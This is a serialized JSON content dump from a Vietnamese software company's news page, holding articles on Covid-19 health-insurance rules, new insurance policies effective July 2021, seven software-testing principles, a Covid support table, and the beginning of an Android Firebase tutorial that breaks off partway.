[{"data":1,"prerenderedAt":26778},["ShallowReactive",2],{"all-news-vi":3},[4,81,249,365,484,1439,1841,2228,2353,2474,2550,2652,2731,2911,3801,3960,4140,4317,4767,4961,5288,5337,5410,5694,5912,5976,6054,6148,6521,6709,6784,6949,7108,7503,7982,8109,8329,8394,8780,8828,8914,8962,9102,9216,9282,9348,9415,10022,10509,10807,10929,11127,11393,11913,12092,13930,13963,14171,14372,14726,15389,15500,15729,15933,16156,16246,16578,16666,16767,16823,16878,16930,16980,17028,17080,17127,17175,17260,18593,18830,19510,20063,20468,21157,21324,22429,22700,22744,22850,22900,22926,23036,24238,24619,25285,25368,25909,26694],{"id":5,"title":6,"body":7,"category":69,"created by":70,"date":71,"description":13,"extension":72,"meta":73,"navigation":74,"path":75,"sections":76,"seo":77,"stem":78,"thumbnail":79,"__hash__":80},"content_vi\u002Fvi\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19.md","03 TRƯỜNG HỢP KHÁM CHỮA BỆNH ĐÚNG TUYẾN BHYT LIÊN QUAN ĐẾN DỊCH COVID-19",{"type":8,"value":9,"toc":65},"minimark",[10,14,17,24,30,40,46,51],[11,12,13],"p",{},"Tại Công văn số 3100\u002FBYT-BH ngày 20\u002F04\u002F2021, Bộ Y tế đã ban hành các quy định về thanh toán chi phí khám chữa bệnh (KCB) bảo hiểm y tế (BHYT) liên quan đến dịch Covid-19.",[11,15,16],{},"Theo đó, có 03 trường hợp được xem là KCB BHYT đúng tuyến liên quan đến dịch Covid-19 như sau:",[11,18,19,23],{},[20,21,22],"strong",{},"1. Thứ nhất",": Đối với người có thẻ BHYT đang trong thời gian cách ly y tế tập trung do Covid-19 phải KCB tại cơ sở KCB BHYT: Quỹ BHYT thanh toán phần chi phí KCB các bệnh khác trong phạm vi được hưởng và mức hưởng BHYT như đối với trường hợp đúng tuyến, trừ chi phí do Covid-19 đã được Ngân sách nhà nước chi trả, bao gồm: tiền khám bệnh, tiền giường, dịch vụ kỹ thuật, thuốc, máu, dịch truyền,… theo hướng dẫn của Bộ Y tế.",[11,25,26,29],{},[20,27,28],{},"2. Thứ hai:"," Trường hợp cơ sở KCB BHYT phải tổ chức cách ly y tế tập trung theo quyết định của cấp có thẩm quyền hoặc được cấp có thẩm quyền giao nhiệm vụ KCB cho người nghi nhiễm, nhiễm Covid-19, Sở Y tế phối hợp với BHXH tỉnh, thành phố trực thuộc Trung ương:",[31,32,33,37],"ul",{},[34,35,36],"li",{},"Hướng dẫn người đăng ký KCB BHYT ban đầu tại cơ sở đó đến KCB tại cơ sở khác trên địa bàn tỉnh, thành phố;",[34,38,39],{},"Hướng dẫn cơ sở KCB chuyển tuyến phù hợp với tình hình dịch bệnh.",[11,41,42,45],{},[20,43,44],{},"3. Thứ ba:"," Đối với người bệnh đã được cơ sở KCB kê đơn, cấp thuốc, vật tư y tế, điều trị và đã cấp Giấy hẹn khám lại hoặc Số khám bệnh, Sổ Y bạ hẹn người bệnh khám lại (sau đây gọi chung là Giấy hẹn khám lại), nhưng do dịch bệnh, người bệnh không đến cơ sở đó để khám lại được. Người bệnh được sử dụng Giấy hẹn khám lại của cơ sở KCB đã cấp Giấy hẹn khám lại để đến cơ sở KCB BHYT khác theo hướng dẫn của cơ sở KCB đã cấp Giấy hẹn khám lại và hướng dẫn của Sở Y tế, Cơ quan BHXH trên địa bàn cư trú hoặc nơi người bệnh đang cách ly y tế để được KCB.Trường hợp hết dịch bệnh, người bệnh được sử dụng Giấy hẹn khám lại của cơ sở KCB nơi đã cấp thuốc, vật tư y tế để đi KCB tại cơ sở KCB nơi đã chuyển thuốc, vật tư y tế.",[11,47,48],{},[20,49,50],{},"Các trường hợp nêu trên được xác định là KCB BHYT đúng tuyến.",[11,52,53,56,57,64],{},[20,54,55],{},"Tài liệu tham khảo:"," ",[58,59,63],"a",{"href":60,"rel":61},"https:\u002F\u002Fthuvienphapluat.vn\u002Fcong-van\u002FTai-chinh-nha-nuoc\u002FCong-van-3100-BYT-BH-2021-thanh-toan-chi-phi-kham-chua-benh-lien-quan-den-dich-COVID19-471655.aspx",[62],"nofollow","Công văn số 3100\u002FBYT-BH"," ",{"title":66,"searchDepth":67,"depth":67,"links":68},"",2,[],"news","Briswell Vietnam Co Ltd","2021-07-16","md",{},true,"\u002Fvi\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19",null,{"title":6,"description":13},"vi\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F24094253\u002FKCBdungtuyenlienquandenCovid19.png","6S9Caei4KpldugjO4HkLD-7P38QiZ1HNE901RjkMqOg",{"id":82,"title":83,"body":84,"category":69,"created by":240,"date":241,"description":242,"extension":72,"meta":243,"navigation":74,"path":244,"sections":76,"seo":245,"stem":246,"thumbnail":247,"__hash__":248},"content_vi\u002Fvi\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021.md","5 CHÍNH SÁCH MỚI ẢNH HƯỞNG ĐẾN QUYỀN LỢI BẢO HIỂM Y TẾ CÓ HIỆU LỰC TỪ 01\u002F07\u002F2021",{"type":8,"value":85,"toc":238},[86,89,94,97,100,103,108,111,119,122,127,130,138,143,146,149,157,162,165,168,182,185,196,200],[11,87,88],{},"Từ ngày 01\u002F07\u002F2021 có một số văn bản chính thức có hiệu lực ảnh hưởng trực tiếp đến quyền lợi của những người tham gia bảo hiểm, bảo hiểm y tế (BHYT) được liệt kê dưới đây:",[11,90,91],{},[20,92,93],{},"1\u002F Thay đổi khái niệm của “Hộ gia đình tham gia BHYT”",[11,95,96],{},"Luật Cư trú năm 2020 có hiệu lực ngày 01\u002F07\u002F2021, Luật này sửa đổi quy định về hộ gia đình tham gia BHYT của luật bảo hiểm y tế",[11,98,99],{},"Cụ thể: Hộ gia đình tham gia BHYT là những người cùng đăng ký thường trú hoặc cùng đăng ký tạm trú tại một chỗ ở hợp pháp theo quy định của pháp luật về cư trú (trong khi trước đây luật bảo hiểm y tế quy định hộ gia đình tham gia BHYT là toàn bộ người có tên trong sổ hộ khẩu hoặc sổ tạm trú).",[11,101,102],{},"Sở dĩ có sự thay đổi này là do Luật cư trú mới đã chính thức khai tử Sổ hộ khẩu.",[11,104,105],{},[20,106,107],{},"2\u002F Thêm đối tượng được cấp thẻ BHYT miễn phí",[11,109,110],{},"Nghị định 20\u002F2021\u002FNĐ-CP về chính sách trợ giúp xã hội đối với đối tượng bảo trợ xã hội cũng sẽ có hiệu lực từ ngày 01\u002F07\u002F2021, nghị định này bổ sung thêm một số trường hợp được cấp thẻ BHYT miễn phí như:",[31,112,113,116],{},[34,114,115],{},"Người thuộc diện hộ nghèo, cận nghèo mà đơn thân và đang nuôi con dưới 16 tuổi hoặc đang nuôi con từ 16 đến 22 tuổi và người con đó đang học văn hóa, học nghề, trung học chuyên nghiệp, cao đẳng, đại học văn bằng thứ nhất (trước đây, chỉ có con của những người này mới được hỗ trợ cấp thẻ BHYT).",[34,117,118],{},"Người bị nhiễm HIV\u002FAIDS thuộc diện hộ nghèo không có nguồn thu nhập ổn định hàng tháng như tiền lương, tiền công, lương hưu, trợ cấp bảo hiểm xã hội, trợ cấp xã hội hàng tháng.",[11,120,121],{},"➜ Cũng theo Nghị định này, trường hợp một số người thuộc diện được cấp nhiều loại thẻ BHYT thì chỉ được cấp một thẻ BHYT có quyền lợi cao nhất.",[11,123,124],{},[20,125,126],{},"3\u002F Chính sách BHYT với thân nhân của thương binh, bệnh binh",[11,128,129],{},"Pháp lệnh ưu đãi người có công số 02\u002F2020\u002FUBTVQH14 cũng có hiệu lực từ ngày 01\u002F07\u002F2021, theo pháp lệnh này không chỉ thương binh, bệnh binh cũng được hưởng chính sách ưu đãi về BHYT mà thân nhân của họ cũng được hưởng chính sách này. Cụ thể:",[31,131,132,135],{},[34,133,134],{},"Cha\u002Fmẹ đẻ, vợ\u002Fchồng, con từ đủ 06 tuổi đến chưa đủ 18 tuổi hoặc từ 18 tuổi trở lên, nếu còn tiếp tục đi học hoặc bị khuyết tật nặng, khuyết tật đặc biệt nặng của thương binh, người hưởng chính sách như thương binh, bệnh binh có tỷ lệ tổn thương cơ thể từ 61% trở lên;",[34,136,137],{},"Người phục vụ thương binh, người hưởng chính sách như thương binh, người phục vụ bệnh binh có tỷ lệ tổn thương cơ thể từ 81% trở lên sống ở gia đình.",[11,139,140],{},[20,141,142],{},"4\u002F Thanh toán chi phí khám chữa bệnh theo định suất",[11,144,145],{},"Ngày 01\u002F07\u002F2021 là thời điểm áp dụng Thông tư 04\u002F2021\u002FTT-BYT hướng dẫn thanh toán chi phí khám chữa bệnh BHYT theo định suất",[11,147,148],{},"Theo thông tư này, quỹ định suất là số tiền được xác định trước giao cho cơ sở khám chữa bệnh BHYT để khám chữa bệnh ngoại trú cho người bệnh có thẻ BHYT trong phạm vi định suất trong khoảng thời gian nhất định",[31,150,151,154],{},[34,152,153],{},"Phạm vi định suất đối với các bệnh viện tuyến huyện trở xuống là toàn bộ chi phí khám chữa bệnh ngoại trú trong phạm vi được hưởng của người tham gia BHYT, trừ một số chi phí khác. ",[34,155,156],{},"Phạm vi định suất đối với bệnh viện tuyến tỉnh, tuyến trung ương là toàn bộ chi phí khám chữa bệnh ngoại trú trong phạm vi định suất của người bệnh đăng ký khám, chữa bệnh ban đầu phát sinh tại cơ sở trừ một số chi phí khác.",[11,158,159],{},[20,160,161],{},"5\u002F Phải công khai giá dịch vụ khám chữa bệnh đối với người có thẻ BHYT",[11,163,164],{},"Cũng từ ngày 01\u002F07\u002F2021, thông tư 05\u002F2021\u002FTT-BYT - thực hiện dân chủ trong hoạt động khám chữa bệnh tại các bệnh viện công lập sẽ được áp dụng",[11,166,167],{},"Thông tư này chỉ rõ các bệnh viện công lập cần phải công khai:",[31,169,170,173,176,179],{},[34,171,172],{},"Giá thu dịch vụ khám chữa bệnh đối với người bệnh có thẻ BHYT;",[34,174,175],{},"Giá thu dịch vụ khám chữa bệnh không theo yêu cầu đối với người bệnh không có thẻ BHYT;",[34,177,178],{},"Chế độ miễn, giảm giá dịch vụ khám, chữa bệnh;",[34,180,181],{},"Thực hiện chính sách BHYT, thanh toán giá và chi phí khám chữa bệnh BHYT.",[11,183,184],{},"Ngoài ra người bệnh cũng được quyền tham gia:",[31,186,187,190,193],{},[34,188,189],{},"Đóng góp ý kiến và giám sát về việc thực hiện các chế độ chính sách y tế liên quan đến quyền và lợi ích hợp pháp của mình;",[34,191,192],{},"Chính sách BHYT;",[34,194,195],{},"Thái độ phục vụ của bác sĩ.",[11,197,198,64],{},[20,199,55],{},[201,202,203,210,217,224,231],"ol",{},[34,204,205,206],{},"Luật cư trú 2020: ",[58,207,208],{"href":208,"rel":209},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FQuyen-dan-su\u002FLuat-68-2020-QH14-cu-tru-435315.aspx",[62],[34,211,212,213],{},"Nghị định 20\u002F2021\u002FNĐ-CP: ",[58,214,215],{"href":215,"rel":216},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fvan-hoa-xa-hoi\u002Fnghi-dinh-20-2021-nd-cp-chinh-sach-tro-giup-xa-hoi-doi-voi-doi-tuong-bao-tro-xa-hoi-467723.aspx?v=d",[62],[34,218,219,220],{},"Pháp lệnh số02\u002F2020\u002FUBTVQH14: ",[58,221,222],{"href":222,"rel":223},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FVan-hoa-Xa-hoi\u002FPhap-lenh-02-2020-UBTVQH14-uu-dai-nguoi-co-cong-voi-Cach-mang-460718.aspx",[62],[34,225,226,227],{},"Thông tư 04\u002F2021\u002FTT-BYT:  ",[58,228,229],{"href":229,"rel":230},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002Fthong-tu-04-2021-tt-byt-thanh-toan-chi-phi-kham-chua-benh-bao-hiem-y-te-theo-dinh-suat-384208.aspx?v=d",[62],[34,232,233,234,64],{},"Thông tư 05\u002F2021\u002FTT-BYT:  ",[58,235,236],{"href":236,"rel":237},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FThong-tu-05-2021-TT-BYT-thuc-hien-dan-chu-trong-hoat-dong-co-so-kham-chua-benh-cong-lap-465922.aspx",[62],{"title":66,"searchDepth":67,"depth":67,"links":239},[],"TRAN VO THI BAO","2021-09-01","Từ ngày 01\u002F07\u002F2021 có một số văn bản chính thức có hiệu lực ảnh hưởng trực tiếp đến quyền lợi của những người tham gia bảo hiểm, bảo hiểm y tế (BHYT).",{},"\u002Fvi\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021",{"title":83,"description":242},"vi\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F08\u002F02170756\u002F5ChinhSachMoiAnhHuongDenBHYT.png","V1nirXooc5_QY3fGy-bMEcsUO5YWaPD8GD0QMC-YAKI",{"id":250,"title":251,"body":252,"category":356,"created by":70,"date":357,"description":358,"extension":72,"meta":359,"navigation":74,"path":360,"sections":76,"seo":361,"stem":362,"thumbnail":363,"__hash__":364},"content_vi\u002Fvi\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem.md","7 Nguyên Tắc Trong Kiểm Thử Phần Mềm",{"type":8,"value":253,"toc":354},[254,257,262,265,268,271,276,279,282,285,290,293,296,301,304,307,312,315,318,321,326,329,332,337,340,343,348],[11,255,256],{},"Hoạt động Kiểm thử phần mềm được ra đời cùng với sự ra đời của phần mềm. Từ đó đến nay, đã có nhiều nguyên tắc được đúc kết để giúp cho việc Kiểm thử đạt hiệu quả. Tuy nhiên, trong số các nguyên tắc đó có 7 Nguyên Tắc cốt lõi cần ghi nhớ khi bắt đầu thực hiện Kiểm thử phần mềm như sau: ",[11,258,259,64],{},[20,260,261],{},"1\u002F Kiểm thử có thể chứng minh sản phẩm có lỗi, không thể chứng minh sản phẩm không có lỗi",[11,263,264],{},"Khi kiểm thử phần mềm, trường hợp phát hiện ra lỗi thì chúng ta có thể khẳng định rằng sản phẩm đó có lỗi. Tuy nhiên, trường hợp cho dù có thực hiện kiểm thử kỹ đến thế nào cũng không tìm ra được lỗi thì ta cũng không thể khẳng định rằng sản phẩm đó không còn lỗi. Bởi vì, có khả năng các trường hợp kiểm thử (test case) của ta chưa bao gồm các trường hợp xảy ra lỗi. ",[11,266,267],{},"Ví dụ: Khi kiểm thử tính năng lưu DB, yêu cầu khi nhấn nút lưu sẽ chỉ cập nhật giá trị của các record được chỉ định, các record khác giữ nguyên. Khi kiểm thử, bạn chỉ kiểm thử các record được chỉ định xem có lưu đúng hay chưa mà không kiểm tra các record còn lại. Kết quả là các record còn lại cũng bị cập nhật theo nhưng bạn đã không nhận ra. ",[11,269,270],{},"Vì vậy, điều quan trọng là cần thiết kế các trường hợp kiểm thử sao cho có thể bao phủ được các trường hợp, tìm ra được càng nhiều lỗi càng tốt. ",[11,272,273,64],{},[20,274,275],{},"2\u002F Kiểm thử toàn bộ các trường hợp là không thể",[11,277,278],{},"Kiểm thử toàn bộ các trường hợp có nghĩa là kiểm thử toàn bộ dữ liệu nhập vào phần mềm và tất cả các trường hợp của điều kiện kiểm thử. ",[11,280,281],{},"Ví dụ cụ thể như sau: Yêu cầu khi nhập nhiều hơn 8 ký tự sẽ trả về message lỗi. Khi test, ta sẽ kiểm thử các trường hợp nhập ít hơn hoặc bằng 8 ký tự (gọi là case bình thường) và các trường hợp nhập nhiều hơn 8 ký tự (gọi là case bất thường). Các case bình thường ta sẽ nhập lần lượt 0, 1, 2, 3, 4, 5, 6, 7, 8 ký tự. Còn các case nhập nhiều hơn 8 ký tự, nếu kiểm thử toàn bộ thì ta sẽ không bao giờ có thể có đủ thời gian để test xong được vì nhiều hơn 8 ký tự là test đến vô tận. Vậy, phải kiểm thử trường hợp này như thế nào để có thể tiết kiệm thời gian mà vẫn đảm bảo chức năng hoạt động đúng? Trong kiểm thử phần mềm có rất nhiều kỹ thuật kiểm thử và trong trường hợp này, ta có thể áp dụng Kỹ thuật phân vùng tương đương. Ở trên, ta đã phân tích ra được 2 vùng giá trị, một vùng giá trị nếu nhập vào sẽ trả lỗi (nhập nhiều hơn 8 ký tự) và một vùng giá trị nếu nhập vào sẽ hoạt động đúng (nhập ít hơn hoặc bằng 8 ký tự). Ta chỉ cần chọn 1 giá trị đại diện nằm trong 2 vùng đó và test là được. Nhập 6 ký tự và không bị trả lỗi, tức đã hoạt động đúng. Nhập 10 ký tự và hệ thống trả lỗi, tức đã hoạt động đúng.Ngược lại, nếu ta nhập 6 ký tự và bị trả lỗi, hoặc nhập 10 ký tự nhưng hệ thống không trả lỗi thì tức là hệ thống đang hoạt động không đúng. Kỹ thuật kiểm thử này gọi là Kỹ thuật phân vùng tương đương. ",[11,283,284],{},"Vì vậy, khi kiểm thử thực tế cần xem xét các yếu tố như tính chất và mục đích của phần mềm, cũng như cách nó được sử dụng để xác định những trọng điểm cần tập trung và thứ tự ưu tiên khi kiểm thử. ",[11,286,287,64],{},[20,288,289],{},"3\u002F Kiểm thử sớm giúp tiết kiệm thời gian và chi phí",[11,291,292],{},"Việc phát hiện lỗi và sửa lỗi sớm sẽ giúp tiết kiệm thời gian và chi phí sửa lỗi. Nếu lỗi được phát càng muộn thì càng tốn nhiều thời gian và chi phí sửa lỗi. Hãy thử suy nghĩ đến việc lắp bóng đèn cho một tòa nhà văn phòng. Nếu phát hiện ra màu của bóng đèn không phù hợp ở giai đoạn thiết kế, thì chỉ cần thay đổi thiết kế là được. Nếu phát hiện lỗi đó ở giai đoạn đã chuẩn bị xong bóng đèn, thì cần đổi lại bóng đèn và chi phí đổi trả. Tuy nhiên, nếu phát hiện ở giai đoạn sau khi đã lắp xong toàn bộ bóng đèn, thì sẽ rất tốn thời gian và chi phí: chi phí tháo dỡ, mua lại bóng đèn mới và lắp lại. Kiểm thử phần mềm cũng tương tự như vậy, phát hiện lỗi càng sớm, càng tiết kiệm được thời gian và chi phí sửa chữa. ",[11,294,295],{},"Vì vậy, việc thực hiện kiểm thử nên được thực hiện càng sớm càng tốt, từ những bước đầu tiên trong quy trình phát triển. ",[11,297,298,64],{},[20,299,300],{},"4\u002F Lỗi phân bố không đồng đều",[11,302,303],{},"Phần mềm được tạo nên từ nhiều thành phần, chức năng ghép lại với nhau (UI, database, chức năng tính toán, lưu data,...). Việc phát triển những thành phần, chức năng đó cũng có những độ khó khác nhau. Ở một số dự án có quy mô lớn thì có khả năng có nhiều team sẽ đảm nhiệm một số chức năng và thành phần nhất định, sau đó ghép lại với nhau. Chính vì vậy, lỗi ở phần mềm thường không phân bố đồng đều mà tập trung ở một số chức năng hoặc thành phần nhất định. Theo nguyên lý Pareto, 80% kết quả là do 20% nguyên nhân gây nên. ",[11,305,306],{},"Do đó, chúng ta có thể phân tích kết quả kiểm thử trong quá khứ và kết quả kiểm thử gần đây để dự đoán những chỗ có khả năng xảy ra lỗi cao. Sau đó, tập trung kiểm thử những chỗ đó sẽ giúp cho việc kiểm thử đạt hiệu quả tốt. ",[11,308,309],{},[20,310,311],{},"5\u002F Chú ý Nghịch lý Thuốc trừ sâu",[11,313,314],{},"Nghịch lý Thuốc trừ sâu là khi ta sử dụng một loại thuốc trừ sâu liên tục, lâu dần các loại sâu bọ sẽ hình thành khả năng kháng thuốc và thuốc trừ sâu sẽ không còn tác dụng với chúng nữa. Trong Kiểm thử phần mềm, nếu ta dùng đi dùng lại một bộ test case để kiểm thử phần mềm, lâu dần sẽ không phát hiện ra được lỗi khi kiểm thử bằng bộ test case đó nữa. Vì những lỗi được phát hiện ra từ các trường hợp test đó đã được sửa. ",[11,316,317],{},"Vì vậy, cần liên tục làm mới trường hợp test để kiểm tra ra được các lỗi mới. Mỗi lần phát hiện lỗi từ việc thay đổi trường hợp test như vậy, chắc chắn sẽ giúp nâng cao chất lượng của phần mềm. ",[11,319,320],{},"Tuy nhiên, trong phương pháp Kiểm thử Hồi quy, việc sử dụng lại bộ trường hợp kiểm thử cũ sẽ có tác dụng. Kiểm thử Hồi quy tức là thực hiện kiểm thử các chức năng liên quan, hoặc toàn bộ phần mềm khi có thay đổi ở một số chức năng nhất định. Khi thực hiện Kiểm thử Hồi quy cho các chức năng không có thay đổi, ta có thể sử dụng lại bộ trường hợp kiểm thử cũ để kiểm tra lại. Lỗi được phát hiện trong trường hợp này gọi là lỗi regression. Ở các công ty Nhật Bản và Việt Nam, lỗi này được gọi là lỗi degrade.",[11,322,323],{},[20,324,325],{},"6\u002F Kiểm thử theo ngữ cảnh",[11,327,328],{},"Mỗi phần mềm có những mục đích sử dụng, cấu trúc hệ thống và điều kiện sử dụng khác nhau, cần áp dụng những phương pháp kiểm thử khác nhau. Ví dụ kiểm thử phần mềm kế toán sẽ khác với kiểm thử phần mềm đọc tin tức. Khi kiểm thử phần mềm kế toán, cần chú trọng test các logic tính toán, đảm bảo việc tính toán không xảy ra sai sót. Còn đối với phần mềm đọc tin tức, ta sẽ chú trọng vào test phần hiển thị xem nội dung tin tức có được hiển thị đúng, dễ xem, dễ đọc hay chưa. ",[11,330,331],{},"Nói chung, cần xem xét mục đích sử dụng, cấu trúc hệ thống và điều kiện sử dụng của sản phẩm để chọn phương pháp kiểm thử và tạo các trường hợp kiểm thử phù hợp. ",[11,333,334,64],{},[20,335,336],{},"7\u002F Bẫy “không lỗi”",[11,338,339],{},"Không phải sửa hết tất cả các lỗi được báo cáo là phần mềm sẽ hoạt động hoàn hảo. Đây chính là bẫy “không lỗi”. Khi nhận báo cáo lỗi, cần xem xét nếu sửa lỗi đó có ảnh hưởng như thế nào đến tính năng và hệ thống của phần mềm rồi mới quyết định sửa hay không. Vì thế nên, trong cộng đồng thường có câu đùa rằng: “Đó không phải bug, đó là tính năng.” ",[11,341,342],{},"Việc ghi nhớ và áp dụng những nguyên tắc phía trên sẽ giúp cho hoạt động kiểm thử của bạn hiệu quả hơn. Tuy nhiên, điều quan trọng vẫn là khả năng tưởng tượng và lý giải những trường hợp sẽ xảy ra khi thực hiện kiểm thử thực tế. ",[11,344,345],{},[20,346,347],{},"Câu hỏi luyện tập:",[11,349,350],{},[58,351,352],{"href":352,"rel":353},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-1-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":355},[],"testing","2024-10-14","Hoạt động Kiểm thử phần mềm được ra đời cùng với sự ra đời của phần mềm. Từ đó đến nay, đã có nhiều nguyên tắc được đúc kết để giúp cho việc Kiểm thử đạt hiệu quả. Tuy nhiên, trong số các nguyên tắc đó có 7 Nguyên Tắc cốt lõi cần ghi nhớ khi bắt đầu thực hiện Kiểm thử phần mềm như sau. Kiểm thử có thể chứng minh sản phẩm có lỗi, không thể chứng minh sản phẩm không có lỗi. Khi kiểm thử phần mềm, trường hợp phát hiện ra lỗi thì chúng ta có thể khẳng định rằng sản phẩm đó có lỗi. Tuy nhiên, trường hợp cho dù có thực hiện kiểm thử kỹ đến thế nào cũng không tìm ra được lỗi thì ta cũng không thể khẳng định rằng sản phẩm đó không còn lỗi. Bởi vì, có khả năng các trường hợp kiểm thử (test case) của ta chưa bao gồm các trường hợp xảy ra lỗi.",{},"\u002Fvi\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem",{"title":251,"description":358},"vi\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F06170731\u002FScreenshot-2024-11-06-170623-1.png","dHayZozO6x7QHO6u4RAaUOO14La1yG62-XIawXY0iOc",{"id":366,"title":367,"body":368,"category":69,"created by":70,"date":476,"description":477,"extension":72,"meta":478,"navigation":74,"path":479,"sections":76,"seo":480,"stem":481,"thumbnail":482,"__hash__":483},"content_vi\u002Fvi\u002Fnews\u002F7subject-benefit-covid19.md","7 NHÓM ĐỐI TƯỢNG ĐƯỢC HỖ TRỢ DO ẢNH HƯỞNG CỦA DỊCH COVID-19",{"type":8,"value":369,"toc":474},[370],[371,372,373,395],"table",{},[374,375,376],"thead",{},[377,378,379,385,390],"tr",{},[380,381,382],"th",{},[20,383,384],{},"STT",[380,386,387],{},[20,388,389],{},"ĐỐI TƯỢNG",[380,391,392],{},[20,393,394],{},"MỨC HỖ TRỢ",[396,397,398,410,421,432,442,453,463],"tbody",{},[377,399,400,404,407],{},[401,402,403],"td",{},"1",[401,405,406],{},"NLĐ tạm hoãn HĐLĐ nghỉ việc không hưởng lương từ 1 tháng trở lên",[401,408,409],{},"1.800.000 đồng\u002F người\u002F tháng",[377,411,412,415,418],{},[401,413,414],{},"2",[401,416,417],{},"Người SDLĐ có khó khăn về tài chính và đã trả trước tối thiểu 50% lương ngừng việc cho NLĐ",[401,419,420],{},"Được vay tối đa 50% tiền lương tối thiểu vùng đối với từng NLĐ với lãi suất 0%",[377,422,423,426,429],{},[401,424,425],{},"3",[401,427,428],{},"Hộ kinh doanh cá thể có doanh thu dưới 100 triệu\u002F năm tạm ngừng kinh doanh",[401,430,431],{},"1.000.000 đồng\u002F người\u002F tháng",[377,433,434,437,440],{},[401,435,436],{},"4",[401,438,439],{},"NLĐ bị chấm dứt HĐLĐ nhưng không đủ điều kiện hưởng trợ cấp thất nghiệp; NLĐ không có HĐLĐ bị mất việc làm",[401,441,431],{},[377,443,444,447,450],{},[401,445,446],{},"5",[401,448,449],{},"Người có công với cách mạng đang hưởng trợ cấp ưu đãi hàng tháng.",[401,451,452],{},"500.000 đồng\u002F người\u002F tháng",[377,454,455,458,461],{},[401,456,457],{},"6",[401,459,460],{},"Đối tượng bảo trợ xã hội đang hưởng trợ cấp xã hội hàng tháng",[401,462,452],{},[377,464,465,468,471],{},[401,466,467],{},"7",[401,469,470],{},"Hộ nghèo, cận nghèo.",[401,472,473],{},"250.000 đồng\u002F người\u002F tháng",{"title":66,"searchDepth":67,"depth":67,"links":475},[],"2020-05-21","STT ĐỐI TƯỢNG MỨC HỖ TRỢ 1 NLĐ tạm hoãn HĐLĐ nghỉ việc không hưởng lương từ 1 tháng trở lên 1.800.000 đồng\u002F người\u002F tháng 2 Người SDLĐ có khó khăn về tài chính và đã trả trước tối thiểu 50% lương ngừng việc cho NLĐ Được vay tối đa 50% tiền lương tối thiểu vùng đối với từng NLĐ với lãi suất 0%",{},"\u002Fvi\u002Fnews\u002F7subject-benefit-covid19",{"title":367,"description":477},"vi\u002Fnews\u002F7subject-benefit-covid19","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F05\u002F13074306\u002F33175415-vietnamese-money-dong-spread-background-texture.jpg","NllpXYidKIMCFUd_0HM9TVDDLYv2K_3e6Qw9BWDAa8U",{"id":485,"title":486,"body":487,"category":1428,"created by":70,"date":1431,"description":1432,"extension":72,"meta":1433,"navigation":74,"path":1434,"sections":76,"seo":1435,"stem":1436,"thumbnail":1437,"__hash__":1438},"content_vi\u002Fvi\u002Fnews\u002Fandroid-firebase-for-beginer.md","Android Firebase cho người mới bắt đầu",{"type":8,"value":488,"toc":1410},[489,497,502,511,515,522,532,540,549,553,562,572,576,586,596,600,605,611,621,625,634,638,648,652,656,661,664,668,686,690,695,705,709,714,718,731,735,757,761,768,772,781,785,792,796,801,805,815,819,821,825,832,836,838,842,849,854,869,871,875,879,882,885,888,902,906,913,919,929,933,943,947,949,957,961,975,979,984,990,994,1010,1016,1020,1027,1033,1037,1046,1052,1056,1059,1063,1070,1076,1081,1085,1103,1107,1114,1118,1123,1127,1133,1139,1147,1155,1159,1165,1171,1184,1186,1190,1194,1197,1200,1203,1215,1219,1231,1235,1247,1252,1258,1263,1267,1272,1280,1286,1292,1298,1304,1310,1316,1327,1331,1338,1344,1348,1355,1361,1365,1372,1378,1382,1386,1392,1398,1404],[490,491,494],"h1",{"style":492,"id":493},"text-align:center;","firebase",[20,495,496],{},"Firebase",[498,499,501],"h2",{"id":500},"i-firebase-là-gì","I. Firebase là gì",[11,503,504,505,510],{},"Google Firebase là phần mềm phát triển ứng dụng được Google hỗ trợ cho phép các nhà phát triển phát triển ứng dụng iOS, Android và ",[58,506,509],{"href":507,"rel":508},"https:\u002F\u002Fsearchsoftwarequality.techtarget.com\u002Fdefinition\u002FWeb-application-Web-app",[62],"Web apps",". Firebase cung cấp các công cụ để theo dõi phân tích, báo cáo và khắc phục sự cố ứng dụng, tạo thử nghiệm tiếp thị và sản phẩm. Firebase có nhiều dịch vụ và hôm nay mình sẽ viết về in-app messaging, cloud messages and real-time databases.",[498,512,514],{"id":513},"iithêm-firebase-vào-dự-án","II. Thêm Firebase vào dự án",[11,516,517,518],{},"Trước khi thêm Firebase vào ứng dụng Android, chúng ta cần tạo một dự án Firebase để kết nối với ứng dụng Android của mình. Đăng nhập vào Firebase console ở liên kết này ",[58,519,520],{"href":520,"rel":521},"https:\u002F\u002Fconsole.firebase.google.com\u002F?hl=en",[62],[11,523,524,527,528,531],{},[20,525,526],{},"Bước 1",": Sau khi đăng nhập vào Firebase, chọn 